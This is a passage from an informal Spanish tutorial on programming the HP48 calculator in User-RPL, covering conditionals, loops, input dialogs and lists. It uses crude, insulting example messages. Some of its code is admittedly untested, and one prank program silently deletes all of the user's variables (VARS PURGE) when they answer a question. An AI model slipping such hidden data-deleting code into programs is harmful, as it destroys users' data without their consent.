respectivo THEN Y END, y salta a la siguiente prueba de verdad, la cual resulta ser verdadera, con lo que se ejecuta el codigo que esta entre el THEN y END de esa prueba. Luego, el programa se salta todo lo que queda y termina, ya que siempre solo se ejecuta uno solo de los códigos. Y no olvidar que en caso de que ninguna prueba resulte verdadera, se ejecutará lo que se encuentre entremedio de los dos últimos END .

Ahora, haremos algunas cosillas para que quede claro el uso de esta IMPORTANTÍSIMA estructura.....

Escribamos un programa que tome un número de la pila, y nos diga su nombre, claro que solo uno del 1 al 5. El codigo sería :

<< -> VYS << CASE 'VYS==1' THEN "UNO" MSGBOX END

'VYS==2' THEN "DOS" MSGBOX END

'VYS==3' THEN "TRES" MSGBOX END

'VYS==4' THEN "CUATRO" MSGBOX END

'VYS==5' THEN "CINCO" MSGBOX END END >> >>

Y ahí esta nuestro programa, hazlo funcionar y ve que pasa si pones el 1 , si pones el 4, y si pones el 6 ????? entonces el programa no hará nada, ya que no hay nada entre los dos últimos END de la estructura CASE. Pero desde ahora en adelante tenemos que ir acostumbrandonos a que los programas sean bien decentes, o sea que no queden esos "agujeros", eso puede traer problemas en el futuro. (sino preguntenle a la microsoft :-)

Bien, entonces, una variante del programa anterior será :

<< -> VYS << CASE 'VYS==1' THEN "UNO" MSGBOX END

'VYS==2' THEN "DOS" MSGBOX END

'VYS==3' THEN "TRES" MSGBOX END

'VYS==4' THEN "CUATRO" MSGBOX END

'VYS==5' THEN "CINCO" MSGBOX END

"EL NUMERO ES EL " VYS + MSGBOX END >> >>

Que pasa entonces ? pruébalo.

Pero sigamos arreglando nuestro programita, ahora preocupemonos de la optimización, ¿te das cuenta de que la instrucción MSGBOX aparece SEIS veces en el programa, quizá pudiendo aparecer solo una vez. Digo quizá por que hay veces en que el código simplemente no se puede reducir, pero este no es el caso. Veamos el siguiente código :

<< -> VYS << CASE 'VYS==1' THEN "UNO" END

'VYS==2' THEN "DOS" END

'VYS==3' THEN "TRES" END

'VYS==4' THEN "CUATRO" END

'VYS==5' THEN "CINCO" END

"EL NUMERO ES EL " VYS + END MSGBOX >> >>

¿Cambia la cosa o no? , y el resultado es el mismo??? Por supuesto que si. Tambien podríamos reducir el nombre que le dimos a la variable local, ya que contiene 3 letras, podríamos pasarlo solo a una. Bueno, eso es lo último que se podría hacer me parece. Como ven, analizar el código que uno escribe es muy gratificante.

Lo último que diré sobre las dos estructuras condicionales que hemos aprendido a usar, es que estas también se pueden anidar, pero siempre con cuidado. Vea el siguiente ejemplo.....

<< 4 IF SAME THEN 5 IF == THEN "HOLA" ELSE "CHAO" END ELSE "CRADLE" END >>

Un poco raro no ?? , trata de entender lo que hace este programón, no es nada inteligente, pero sirve para darse cuenta que dentro de las acciones de los IF o los CASE, pueden ir metidas otras estructuras más, y destro de estas otras , y dentro de estas...me vuelvo loco.....(-: Lo importante es que es totalmente válido hacerlo, que cada uno le de el uso que desee.

Bueno, yo se que este capítulo puede parecer un poco pesado, pero es TOTALMENTE NECESARIO ya que todo el poder del lenguaje esta en estas cosas, junto con otras más.

Espero que lo que viene a continuacion sea de su agrado, son las ESTRUCTURAS DE BUCLE , las cuales nos sirven muchísimo combinadas con las e.condicionales para hacer programas extremadamente poderosos y muy muy flexibles.

----ESTRUCTURAS DE BUCLE----

Listo, comencemos. Las estructuras de bucle dicho en buen chileno con para repetir un número determinado o indeterminado de veces la ejecución de un código. Y sin más introducción que esa, metámonos al agua ......

Estructura : START NEXTEsta estructura lo que hace es

simplemente repetir un número bien determinado de veces el codigo que se encuentra entre START y NEXT. el número de veces que se ejecuta el codigo esta dado por dos números enteros que deben haber en la pila, el primero de ellos, se supone, debe ser menor que el segundo, y casi siempre se usa como primer número el 1.

Ejemplo, supongamos que quisiermos un programa que pusiera en la pila 17 veces el texto "EL LADO BRILLANTE ES SUICIDIO", el código sin la estructura START sería :

<< "EL LADO BRILLANTE ES SUICIDIO"

"EL LADO BRILLANTE ES SUICIDIO"

"EL LADO BRILLANTE ES SUICIDIO"

"EL LADO BRILLANTE ES SUICIDIO"

"EL LADO BRILLANTE ES SUICIDIO"

"EL LADO BRILLANTE ES SUICIDIO"

"EL LADO BRILLANTE ES SUICIDIO"

"EL LADO BRILLANTE ES SUICIDIO"

"EL LADO BRILLANTE ES SUICIDIO"

"EL LADO BRILLANTE ES SUICIDIO"

"EL LADO BRILLANTE ES SUICIDIO"

"EL LADO BRILLANTE ES SUICIDIO"

"EL LADO BRILLANTE ES SUICIDIO"

"EL LADO BRILLANTE ES SUICIDIO"

"EL LADO BRILLANTE ES SUICIDIO"

"EL LADO BRILLANTE ES SUICIDIO"

"EL LADO BRILLANTE ES SUICIDIO" >>

Pajero no ?? , para esto es que existen las estructuras de bucle. El ejemplo no es para nada inteligente, lo sé, pero es para que los principiantes como tu puedan entender el funcionamiento.

Veamos ahora como sería el código usando la estructura START

<< 1 17 START "EL LADO BRILLANTE ES SUICIDIO" NEXT >>

Un pequeño cambio no ?

Como profesor que estoy siendo de ustedes en este momento, les daré una tarea, escriba un programa que haga exactamente lo mismo que el anterior, pero sin usar la estructura START, y por supuesto que diferente que el primer programa. Piense y trate de hacerlo. Quien quiera la respuesta al problema, escriba a [email protected]

Escribamos el código de un programa que dado un número entero, nos muestre en un texto todos los números naturales que lo anteceden.O sea, suponiendo que al programa se le entrega el número 7 , el resultado al ejecutarlo deviera ser :

"1234567"

El codigo que yo escribiría para este problema sería :

<< -> A << "" 1 1 A START -> C << C + C 1

+ >> NEXT DROP >> >>

Bien, listo, igual tuve que pensar un poco.

Analisis : Primero se toma el número como variable local y se le pone el nombre "A" , luego, se pone una cadena vacia en la pila, que es donde iremos concatenando los números, luego se pone un 1 que servira como primer elemento. Despues se pone el inicio y final del bucle o sea, 1 y A y comienza el bucle, en el cual, otra vez se pesca una variabla local de nombre C y cada vez que se repite el bucle, lo que se hace es, Concatenar C en la cadena, y luego sumar uno a C, con lo que cuando se repita el bucle, la variable C cambiará su valora C + 1 . Al final se debe poner un DROP, ya que la última vez que se ejecuta el bucle, queda suelto el numero "C + 1" .

Ahora quiero otro programa parecido al anterior, pero que me dé los número desde el 0 , y separados por espacios. el codigo sería :

<< -> A << "" 0 1 A START -> C << " " C + + C 1 + >> NEXT

" " SWAP + + >> >>

Pequeñas modificaciones logran lo que queriamos.

Bueno, no daré mas ejemplos, pero tu debes imaginar más cosas que hacer con esta importante estructura.

Esctructura : START STEPEsta estructura es parecida a la anterior.

La diferencia está en que aquí se puede elegir el incremento al contador del bucle. En la otra estructura, el incremento SIEMPRE es 1.

Tomaré la explicacion del manual de usuario para indicar la sintaxis de esta estructura.

<< .... inicio final START codigo_a_ejecutar incremento STEP ... >>

O sea lo mismo que la estructura anterior, solo que la palabra NEXT se cambia por STEP , y que antes de STEP debe ir un número que será el incremento.

Por ejemplo, podríamos hacer un programa que escribiera cien veces en la pantalla el mensaje "hola" de la siguiente manera

<< 1 10 START "hola" 0.1 STEP >>

Si te fijas, solo se va desde el 1 al 10, sin embargo, se imprime en pantalla 100 veces la palabra "hola", esto es devido a que elejimos el incremento como 0.1

Mira los siguientes códigos :

<< 1 2 START "hola" 0.01 STEP >>

<< 0 1 START "hola" 0.01 STEP >>

<< 9 9.1 START "hola" 0.001 STEP >>

<< 54 54.5 START "hola" "hola" 0.01 STEP >>

Todos ellos dan el mismo resultado al ser ejecutados.

Hagamos algo divertido antes de pasar al FOR, escribe un programa que saque el promedio de todos los números que hayan en la pila, suponiendo que en la pila hay solo números, pero no importa cuantos......¿puedes?

Yo si puedo, y el programa sería :

<< DEPTH -> A << 2 A START + NEXT A / >> >>

mas que facil ah....;->

o mejor todavía,

<< DEPTH -> A << 2 A START + NEXT A / "El promedio es " SWAP + >> >>

Bueno, les dejo el analisis a ustedes, porque creo que está fácil.

Por último, para recordar las funciones de cadenas, haga un programa que de vuelta una cadena, me entiendes ? o sea que si le paso la cadena "ME VOY A ACOSTAR" por ejemplo, el resultado sea :

"RATSOCA A YOV EM"

Ahora me voy a hacer tuto, ya que mañana tengo clases de cálculo, nos vemos. mañana quizá escriba, nos tocará aprender la estructura de bucle FOR. chau......

Hola de nuevo, recuerda que por cualquier duda escríbeme. En que estábamos ? , ah, les iva a enseñar el FOR, bueno, entonces para que esperar más.....

Estructura FOR NEXTEsta estructura de bucle es una de las

más importantes, ya que nos permite repeticiones con opciones más avanzadas que el simple y querido START. La única diferencia con el START es que en la estructura FOR se puede "usar" el contador en cada repeticion o pasada del código del bucle. O sea, en otras palabras, tienes a tu dispocición el contador del bucle.

Todo quedá siempre más claro con un ejemplo, pero antes, la sintaxis del FOR es la siguiente :

Primero van 2 números, que son el inicio y final de las veces que se quiere repetir el bucle, luego la instruccion FOR seguida del nombre que le daremos al contador(algo así como una variable local dentro del bucle). Despues viene todo el código que forma el bucle, y al final la palabra NEXT.

Hagamos un programa que dado un número entero, ponga todos los números naturales que le anteceden en la pila :

<< -> A << 1 A FOR B B NEXT >> >>

Ese sería el código, primero se toma un número de la pila como variable local con el nombre A, luego se comienza el bucle y al contador le llamamos B. Entonces, el código que realmente "hace" el bucle, es lo que se encuentra entre el nombre del contador --en este caso B-- y la palabra NEXT. Vemos que lo que hay entre esas palabras, es simplemente una llamada al contador, con lo que en cada pasada del bucle, el contador se lanza a la pila, dandonos el resultado deseado.

Bueno, pero ese era el ejemplo fácil,

ahora les doy el desafío de hacer un programa que nos dé el factorial de un número dado. Supongo que se darán cuenta que SIN usar el comando ! . Háganlo primero con FOR y después traten de hacerlo con START.

Bien, para FOR, el código sería :

<< -> numero << 1 2 numero FOR contador contador * NEXT >> >>

Ahora, si algúno de ustedes mira bien el código, se dará cuenta de que si calcula realmente el fáctorial, pero que pasa si el número dado es el 0 o el 1 ????

Entonces el programa falla. Haga una modificacion que corrija ese bug.......... <.....BUG=ERROR=WINDOWS....:-).>

<< -> numero << CASE 'numero==0' THEN 1 END

'numero==1' THEN 1 END

1 2 numero FOR contador contador * NEXT

END >>

Si se fijan, para el número 0 doy el valor 1 , esto no es ningún error, por convencion internacional se definió el factorial de 0 como 1.

El codigo que yo escribí para esto usando START es :

<< -> numero << CASE 'numero==0' THEN 1 END

'numero==1' THEN 1 END

1 1 1 numero START -> MICONT

<< MICONT * MICONT 1 + >>

NEXT DROP END >>

Bueno, al análisis de ese código se los dejo a los que les interese la cosa a fondo, ya que cualquiera con sentido común hubiera resuelto el problema utilizando la estructura FOR.

Otro problema : Haga un programa que sume todos los números náturales, desde el 1

hasta el que está en la pila(el nº "dado").

El que no sabe mucho de matemáticas habría escrito lo siguiente:

<< -> Xy << 1 2 Xy FOR R3 R3 + NEXT >> >>

El que sabe matemáticas, simplemente hubiera puesto :

<< DUP 1 + * 2 / >>

Pero como lo que estamos estudiando es el FOR, el que hizo el primero gana (¿?¿?¿?¿?).

Estructura : FOR STEPLo mismo que el anterior, solo que con

este se puede especificar el incremento de la variable contadora del bucle.(ver START STEP)

Bueno, veamos, hagamos un programa que dado un número y un incremento, ponga en la pila todos los números desde el 0 hasta el numero dado, pero cada un intervalo que será el incremento dado. El numero dado ira en el segundo nivel de la pila, y el incremento dado en el primero :

<< -> numero incremento << 0 numero FOR contador

contador incremento STEP >> >>

Bueno, la verdad es que yo no ocupo mucho el FOR STEP pero siempre hay que aprenderlo igual, ya que en alguna situacion nos podría servir.

Haz un programa que de todos los números naturales pares anteriores a un número dado.(ahí se ve el uso de FOR STEP)

<< -> A << 0 A FOR B B 2 STEP >> >>

Dejemos hasta aquí lo que son las estructuras por un rato, más adelante veremos la DO UNTIL END y la WHILE REPEAT END.

-----------------------------------0------------------------------- fin del capitulo 5 [email protected]

www.geocities.com/xj35u5x

CAPITULO 6 : ALGUNAS COSAS SUELTAS SOBRE COMANDOS MATEMATICOS Y OTROS

Bueno, en este capítulo daré algunos comando muy útiles para mátematicas y también otros IMPORTANTÍSIMOS para hacer programas interactivos con el usuario, por ejemplo, que bajo determinadas condiciones, el programa le pida informacion al usuario o cosas de ese tipo. Tambien veremos el comando WAIT , importante a la hora de crear juegos y otras cosas aún más interactivas.

Comando : IPLo que hace este comando es quitarle a

un número cualquiera su parte fraccionaria. Por ejemplo si le aplicamos IP al número 4.2303 el resultado que obtendremos será simplemente 4 y en caso de aplicarlo sobre un número entero no pasa nada.

<< DUP "el numero " SWAP + "sin parte fraccionaria es " + SWAP IP + MSGBOX >>

Comando : FPLo contrario del anterior, es decir, nos dá

la parte fraccionaria de un número dado.

<< DUP "la parte fraccionaria del numero "

SWAP + "es " SWAP FP + >>

Ahora me largo por un rato, chao.

(hola de nuevo)

La calculadora hp48 dispone de un GRAN número de comandos matemáticos, y describir el funcionamiento de todos sería una gran paja, así que eso se lo dejo a ustedes. Cuando yo necesite un comando, solo lo haré aparecer, y a lo máximo diré lo que hace.

Comando : TIMELo que hace este es darnos la hora, pero

en un extraño formato...... lo hace dandonos un número decimal con muchos decimales, en el cual la parte entera son las horas, los dos primeros decimales son los minutos, y los dos

últimos decimales son los segundos.....Bueno, y supongo que todos los demas decimales son algo así como las centecimas, milesimas y ....si, ¡millonesimas! de segundo, aunque yo me confiaría solo hasta de los segundos.

o sea , si el comando nos da 17.0128 significa que son las 5 con 1 minuto y 28 segundos.

Comando : DATEHace lo mismo que el anterior, pero con

la fecha.

Comando : ROTRota los 3 primeros elementos de la pila,

parecido al SWAP, pero con 3 elementos.

Comando : OVERCopia al 1: nivel de la pila lo que hay en

el 2:

ejemplo 2: 3454.3452

1: "ever eve es un gran grupo de black metal"

entonces, despues de aplicar la instruccion OVER el resultado sería :

3: 3454.34522: "ever eve es un

gran grupo de black metal"1: 3454.3452

Comando : EVALEvalúa cualquier cosa que esté en la pila,

por ejemplo un programa o una expresion matemática, etc.

ejemplo, haré dos programas que hacen exactamente lo mismo para que se entienda el comando EVAL

<< "arcturus es otro gran grupo oscuro" MSGBOX >>

<< << "arcturus es otro gran grupo oscuro" MSGBOX >> EVAL >>

los dos hacen lo mismo.

Comando : RCL

No estoy seguro, pero parece que este ya lo pase, pero por las dudas aquí esta(ademas me da paja revisar todo el documento)...Lo que hace es darnos el contenido de una variable cuyo nombre le demos entre { } . supongamos que la variable llamada cradle_of_filth contiene el número 3423.128836214, entonces si en la pila ponemos { cradle_of_filth } y hacemos RCL el resultado será el número 3423.128836214

Comando TYPENos dá el tipo de objeto que está en la

pila.

ejemplo : si en la pila está un número real, y aplicamos TYPE el resultado será 0 ya que el tipo numero real es el 0

Objeto Numero(tipo)

Número real .................. 0Número complejo .............. 1Cadena ....................... 2

Bueno, se me olvidaba, este es un manual de programacion, así que si quieres saber el resto de los tipos de objetos anda al apendice H del manual de usuario a la página 31

Comandos útiles para juegos o mejor dicho para "controles de aplicaciones interactivas"

Jajaja, el título terrible formal, bueno, en realidad los comandos no sé si fueron hechos para eso, pero al menos yo los ocupo pa´eso.

Comando : WAITLo que hace este gran comando es

"esperar" n segundos dado n en la pila, o sea se retrasa, pero cuando n es menor o igual a 0, se queda esperando hasta que se aprete una tecla, y nos da la ubicacion de la tecla. Los más pillos ya se habrán dado cuenta de lo que se puede hacer con eso, pero igual demos las explicaciones necesarias para.....bueno, para tí quizá, disculpa......

Bueno, antes que nada dire que internamente en la hp48, una de las maneras de ver a las teclas es por medio de su ubicacion, y esto se logra simplemente a travez de un número

decimal de 3 cifras, esto es, dos enteras y un decimal, ejemplos : 34.2 12.3 33.1 14.1 y en general ab.c donde "a" es la columna, "b" la fila y "c" es la modificacion de texto, o sea, puede ser el bloqueo para letras, la flecha verde o la flecha morada.

Bien, ahora, vamos a la idea principal que estoy siguiendo.... Considera el siguiente código :

<< 0 WAIT -> A << IF 'A==11.1' THEN "LA TECLA PULSADA FUE LA DE LA ESQUINA SUPERIOR IZQUIERDA" END >> >>

Y si usáramos un CASE ???? bueno, las posibilidades son infinitas, solo hay que usar el craneo, o mejor dicho lo que está adentro..... ;-)

Comando : KEYDevuelve la tecla que se pulsa justo

después de ejecutar el comando, muy parecido a 0 WAIT.

Comando : FREEZECongela la pantalla por "n" segundos,

dado "n" en la pila. Si n es negativo congela la pantalla hasta que se presione una tecla.

bien, eso sería todo lo que se me ocurre por ahora.

-----------------------------------0------------------------------- fin del capitulo 6 [email protected] www.geocities.com/xj35u5x

CAPITULO 7 : PIDIENDO DATOS AL USUARIO DE TU PROGRAMA

En la hp hay algunas manera de comunicarse con el posible usuario del programa que hagas. Veremos algunas en este capítulo.

Comando : INPUTPide la entrada al usuario de "algo". La

sintaxis es una cadena en el 2: nivel, la cual supuestamente le dice al usuario la información que debe entregar, y en el nivel 1 también va una

cadena, con el valor por defecto del usuario, la que puede estar vacia si se quiere. El resultado SIEMPRE se entrega automáticamente como cadena, o sea "encerrado entre estas comillas".

Ejemplo: Programa que nos pide el nombre y luego nos saluda.

<< "HOLA " "DIGA SU NOMBRE POR FAVOR" "" INPUT + MSGBOX >>

Bien, resulta muy fácil analizar el código, el "HOLA" del principio, es para luego concatenarlo con el nombre que se ingresa. Lo puse al principio, ya que si lo hubiera puesto en otro lugar, habría tenido que usar tambien el SWAP , o sea así :

<< "DIGA SU NOMBRE POR FAVOR" "" INPUT "HOLA" SWAP +

MSGBOX >>

Quizá se entienda mejor así, pero la primera forma esta optimizada. Bien, luego va el mensaje que pide el nombre, luego una cadena vacia y el INPUT. Lo que el usuario ponga como nombre, se irá a la pila encerrado entre " ". Despues, se concatena con la palabra "HOLA " y para finalizar, un lindo MSGBOX que nos saluda cordialmente.

El INPUT es muy usado, ya que es una de las más rápidas formas de pedir informacion al usuario.

Hagamos otro programa, esta vez será un programa encuesta, que nos haga una pregunta que pueda tener la respuesta SI o NO de parte del usuario, y que dependiendo de la respuesta del usuario, se le muestre otro mensaje, veamos :

<< "¿USTED ES UN LAMMER?" "" INPUT -> R

<< CASE R "SI" SAME THEN "ENTONCES ERES UNA MIERDA"

MSGBOX END R "NO" SAME THEN "BIEN,

MUY BIEN" MSGBOX END "RESPONDE SI O NO

JETON" MSGBOX END >> >>

Ahí esta pues, se dan acciones a realizar

en caso de que el usuario responda SI, NO, o si da cualquier otra respuesta, y parece que el problema está solucionado, pero que pasa si el usuario da la respuesta "si" O "no" ??? Ya dije en capitulos anteriores que para la hp48 "ESTO" no es lo mismo que "esto" ni tampoco que "eStO", entonces, mejoramos el programa para el caso en que el usuario diga "si" o "no", ya que es muy dificil que dijera "Si" o "sI" o "No" o "nO"........ :-)

<< "¿USTED ES UN LAMMER?" "" INPUT -> R

<< CASE R "SI" SAME R "si" SAME OR THEN

"ENTONCES ERES UNA MIERDA" MSGBOX END

R "NO" SAME R "no" SAME OR THEN

"BIEN, MUY BIEN" MSGBOX END

"RESPONDE SI O NO JETON" MSGBOX END >> >>

Ahí si.

Haga un programa que nos pida la edad. Que si tenemos menos de 15 nos diga una cosa, o si estamos entre 15 y 25 otra, y si somos mayores de 25 otra....

<< "INGRESE SU EDAD" "" INPUT -> R<< CASE 'R<15' THEN 1 5 START

"MOCOSO" MSGBOX NEXT END 'R>25' THEN "TE QUEDA POCA

VIDA" MSGBOX OFF END "DISFRUTA DE TOMAR Y

DROGARTE HARTOOOO" MSGBOX END>> >>

Ahí esta la solución a nuestro problemilla...

NOTA : si algún weon se ofende por lo mensajes que pongo de ejemplo en el texto vayase a la ...... no, mejor no, mejor abre tu cagada de mente y date cuenta de que este es un manual de programación y no uno de moral.....jajajaja..

pero y que pasa con la generacion que tiene 18 años en el cuerpo, como yo, y quizá como tu.... bueno, arreglemos el código...

<< "INGRESE SU EDAD" "" INPUT -> R

<< CASE 'R<15' THEN 1 5 START "MOCOSO" MSGBOX NEXT END

'R>25' THEN "TE QUEDA POCA VIDA" MSGBOX OFF END 'R==18' THEN 1 1000 "LO MAXIMO........" MSGBOX NEXT END

"DISFRUTA DE TOMAR Y DROGARTE HARTOOOO" MSGBOX END

>> >>

Vamos con otro ejemplo :

<< "es usted nazi ???" "" INPUT -> T<< CASE T "SI" SAME THEN VARS PURGE

ENDT "NO" SAME THEN "FELICITACIONES"

END END >> >>

Comando : VARS Nos dá una lista con los nombres de las

variables.ejemplo:

{mate WWW }

Sigamos haciendo códigos con el INPUT :

---Programa original de ejemplo---

Lo siguiente es un programa que se me ocurrió la primevera del 99, cuando estaba en 4to medio, es un juego en el que nunca se puede ganar.....

<< "Ingrese un número" "" INPUT OBJ-> -> vane

<< "perdiste, yo elijo " a 1 + + MSGBOX >> >>

Bueno, si, sé que es un poco fome, pero igual.

Comando : RANDNos dá un número aleatorio, o sea

totalmente al azar. Lo raro y que yo no entiendo mucho, es que siempre es un número decimal de muchassss cifras decimales y siempre una sola cifra entera, la cual la mayoría de las veces es 0 o 1.

Algunos ejemplos de los números que nos da RAND son:

(sacados de la hp48)

0.7676307113560.205303003430.5792910573040.301170482804

Esos son el tipo de números que casi siempre nos dá el comando RAND.

Tarea : Haga un programa que nos de un número aleatorio del 0 al 9.

Hay muchisimas maneras de enfrentar el problema, mi programa sería:

<< RAND 10000 * IP ->STR 1 3 START TAIL OBJ-> >>

Los resultados "probados" que arrojó este programa son :3,7,3,2,1,3,0,3,8,7,4,6,2

Con todo lo que ya hemos pasado, yo creo que ya sería hora de que tu vayas creando tus propias cosillas, no crees ?, Bien, aquí voy a exponer algunas ideas para que revises antes de continuar con la materia.

__Programa que saca todas las vocales de un texto__

Bien, la idea es hacer un código que compare cada letra con todas las vocales, y si alguna es igual, la saque, y si no la mantenga en el texto, yo lo haría así :

Pero antes, dense cuenta de que por primera vez haré un programa que tiene dos partes independientes, a una la llamaré p1 y a la otra p2. Lo que hará p1 será poner el primer caracter de una cadena en el último lugar, o sea, de "sebastian" pasaría a "ebastians". El p2 hará lo haga falta.

<< DUP HEAD + TAIL >> ESE ES P1

<< DUP SIZE 1 SWAP START DUP HEAD -> Z

<< CASE Z "A" == THEN TAIL END Z "E" == THEN TAIL END Z "I" == THEN TAIL END

Z "O" == THEN TAIL END Z "U" == THEN TAIL END P1

END >> NEXT >> ese es p2

Si se dan cuenta, no es tan necesario haber hecho dos programas, ya que en donde dice P1 en el P2, se podría reemplazar el código de P1 y listo, pero el objetivo era que te dieras cuenta de que un programa puede tener varias partes.

Se acuerdan del comando TIME ?Ojalá, ya que ahora haremos un

programa que nos de la hora, pero decentemente, en un formato más amigable.... mi codigo es :

<< "Son las ...... " TIME -> A << A IP + ":" + A FP 100 * IP + ":" + A 100 * FP 100 * IP + MSGBOX >> >>

Ahora veremos otro comando muy bueno para pedir opciones al usuario, es el comando CHOOSE.

Comando : CHOOSE Bien, lo que hace este comando, es que

dado en al pila una cadena que hace de "titulo", una { lista } con varias palabras, y un número que no sobrepase el número de palabras que hay en la lista, nos despliega un cuadro de diálogo preguntándonos cual de las opciones escogemos....

Aquí sería muy dificil mostrar como funciona , así que a tomar su hp y evaluar el siguiente código.

<< "como es este programa????" { BUENISIMO BUENO NORMAL MALO MIERDA } 1 CHOOSE >>

Entonces tienen que idear cosas.....bueno, pa los que son medios ...., no, aquí hay un ejemplo que ilustra el uso, pero este será el primer programa en serio que habremos hecho. Haremos un administrador de archivos que pueda borrar, renombrar, o copiar un archivo. también tendra la opcion de apagar calculadora y de mostrar los credits.

<< "FILES ADMIN BY xj35u5x" VARS 1 CHOOSE DROP

"QUE HAGO CON " OVER + "?"

{RENOMBRAR DESTRUIR COPIAR ¿APAGAR? CREDITOS } 1 CHOOSE DROP -> R << CASER RENOMBRAR == THEN DUP RCL SWAP {} + PURGE "NUEVO NOMBRE ?" "" INPUT OBJ-> STO ENDR DESTRUIR == THEN {} + PURGE ENDR COPIAR == THEN RCL "NUEVO NOMBRE ?" "" INPUT OBJ-> STO ENDR ¿APAGAR? == THEN CLEAR OFF ENDR CREDITOS == THEN "PROGRAMA DE EJEMPLO CREADO POR xj35u5x" MSGBOX END >> >>

Saben, la verdad es que me da flojera probarlo en la hp, ya que tendría que copiarlo todo, así que si tiene fallas me avisan....

Es hora de entrar en el mundo de las listas, del cual no deben asustarse, ya que es mucho mas facil de lo que puede parecer....

-----------------------------------0------------------------------- fin del capitulo 7 [email protected] www.geocities.com/xj35u5x

CAPITULO 8 : "LISTAS"

Bien, comencemos definiendo lo que es una lista para nuestra bienamada calculadora hp48. Una lista es simplemente un grupo de objetos, lo cuales pueden ser de cualquier tipo, ya sea números de cualquier tipo, cadenas, programas, nombres de variables, etc....La lista puede tener cualquier número de objetos siempre que la memoría de la calculadora lo permita, así que aquí les doy algunos ejemplos de listas :

{ 1 2 3 4 5 }{ 1 4 55 66.5 34.234234 -10000 hola }

{ xj35u5x y van355a s3 aman }{ << "hola mother fucker" MSGBOX VARS

PURGE >> 45 tirol (4,5) }

Considera ahora esta otra lista :

{ andrea juana berta { eliana raquel } ana 34 }

Te das cuenta ?, si, en una lista un elemento o más de ella pueden ser listas, las que a su vez cumplen con esta misma propiedad.

Los elementos en las listas se separan por espacios

Hay algunos comandos de las cadenas que se aplican perfectamente a las listas, estos son :

HEAD : devuelve el primer elemento de la lista

TAIL : elimina el primer elemento de la lista

SIZE : nos entrega el número de elementos de la lista

+ : en las cadenas el + las concatenaba, en las listas, lo que hace es meter un objeto dentro de una lista, ejemplo.....

2: { m o o n s p e l}1: l

Al sumar el resultado sería :

2:1: { m o o n s p e l l }

Si se suman dos listas, lo que se produce es unir todos los elementos de las dos listas en una sola.

Comando : ->LISTlo que hace este comando, es que si hay

n elementos en la pila y ponemos el número n, se crea una lista con todos esos elementos metidos en la lista, igual si hay más de n elementos y se eligen n.

ejemplo :

4: joe3: vasconcellos2: grande1: 3

Al aplicar ->LIST queda

2:1: {joe vasconcellos

grande}

Como ejemplo, recuerde que el comando VARS nos da los nombres de todas nuestras variables dentro de una lista

II PARTE

CAPITULO 1 : "COMANDOS AVANZADOS PARA LISTAS Y CADENAS Y OTRAS COSILLAS COMO UNA NUEVA FORMA DE TOMAR EL MANUAL DE AQUÍ EN ADELANTE

CAPITULO 2 - "EL PROGRAMA DUEÑO Y UNA PINCELADA A LA PROGRAMACION DE JUEGOS O APLICACIONES INTERACTIVAS MEDIANTE EL USO DE LA INMERSION Y LAS ESTRUCURAS xj35u5x. UN POCO DE CADENAS "

CAPITULO 3 : "CADENAS AVANZADAS, LA ENCRIPCIÓN"

CAPITULO 1 : "COMANDOS AVANZADOS PARA LISTAS Y CADENAS Y OTRAS COSILLAS COMO UNA NUEVA FORMA DE TOMAR EL MANUAL DE AQUÍ EN ADELANTE

Aquí veremos como dice el título cosas interesantes que se pueden hacer con las listas y cadenas mediante las instrucciones que nos proporciona el USER-RPL.

Bien, si a una lista se le aplica un comando matemático que requiere un solo valor de entrada y da un valor de salida(raíz log, etc) la lista se transforma en el resultado de aplicar el comando a cada uno de sus terminos.

Ejemplo :1: { 1 4 9 16 25 36 }

Al aplicar por ejemplo raiz cuadrada nos queda :

1: { 1 2 3 4 5 6 }

Espero que se haya entendido. Esto funciona solo si la lista contiene números o nombres de variables que representen números.

Comando : SUBEste comando es otro de los tantos que

funcionan sobre listas y cadenas de caracteres. Lo que hace es, dada una lista en el nivel 3: , y dos números en los niveles 2: y 1: , el primero menor o igual que el segundo y los dos menores o iguales que el número de elementos que tiene la lista, Extrae de la lista el intervalo que se le pasa.

Un poco complejo ?

Ejemplo :

4: 3: { primero segundo

tercero cuarto quinto sexto }2: 31: 4

Esa es la sintaxis necesaria, entonces al aplicar SUB nos quedaria :

3:2:1: { tercero cuarto }

¿se entendio ahora?

Lo mismo ocurre con las cadenas de caracteres.

4:3: "terra internet más

cara que nunca"2: 71: 14

Al aplicar SUB quedaría :

3:2:1: "internet"

Comando : REPLLo que hace es : dado una cadena, un

numero natural "n", y un caracter, reemplaza el caracter en la cadena en el lugar "n".

Ejemplo :

4:3: "THE DARK SIDE OF

THE MOON"2: 131: "A"

Al aplicar REPL nos queda :

2:1: "THE DARK SIDA OF

THE MOON"

Exactamente lo mismo ocurre con las listas......

4:3: { BORKNAGAR

TIAMAT NIGHTWISH MOONSPELL }2: 21:

{ CRADLE_OF_FILTH }

Si aplicamos el REPL queda :

2:1: { BORKNAGAR

CRADLE_OF_FILTH NIGHWISH MOONSPELL }

Es imbecil darse cuenta que en el caso de las cadenas el caracter a insertar deve ir entre "esto" y en el caso de las listas, deve ir entre { esto }.

En la primera parte vimos un comando que se llamaba ->LIST , el cual transformaba "n" elementos de la pila, dado "n" en 1:, en una lista que contenía los n elementos. El siguiente es el contrario de ->LIST

Comando : OBJ->Recuerdas que en las cadenas le quitaba

las "comillas" ?, bueno, en las listas, suelta todos los elementos en la pila, y en último lugar queda el número de objetos que contenía la lista.

Ejemplo :

2:1: { black doom gothic

romantic speed }

Al aplicar el OBJ-> nos da :

4: gothic3: romantic2: speed1: 5

Ves, te da el número de elementos y todos los elementos desplegados hacia arriba. Ahora, si no sabes adonde estan las palabras black y doom, entonces andate a la misma mierda, usa un par de dias la calculadora y despues trata de entrar en programacion, si no sabes esto, estas mas perdido que .......

Tarea : haga un programa que invierta el orden de los objetos de una lista, o sea, dado por ejemplo { 1 2 3 4 5 } que nos entregue { 5 4 3 2 1 }

Saben, ? tomé una decision. Me estoy dando cuenta de que este manual ya no está para que siga describiendo cada comando por separado, si alguien esta leyendo esto, deve ser por que cuando aparezca un comando que no he descrito, o bien se lo sabe, o bien toma el manual de usuario y vé para lo que sirve. Lo siento, se acabaron los comandos, ahora vamos a ir con pura pura programacion, Lo que pasa es que me estoy aburriendo mucho. Para los que estaban aprendiendose los comandos aquí les pido disculpas, tendran que ir al manual de usuario. En todo caso, al final hay 2 apendices bien buenos, que describen todos los comandos de la hp48. Disculpas, pero debe comenzar la acción.......¡'¡'¡'¿¿?¿?¿?¿¿'¡'¡¡'¿¿?¿¿??¿

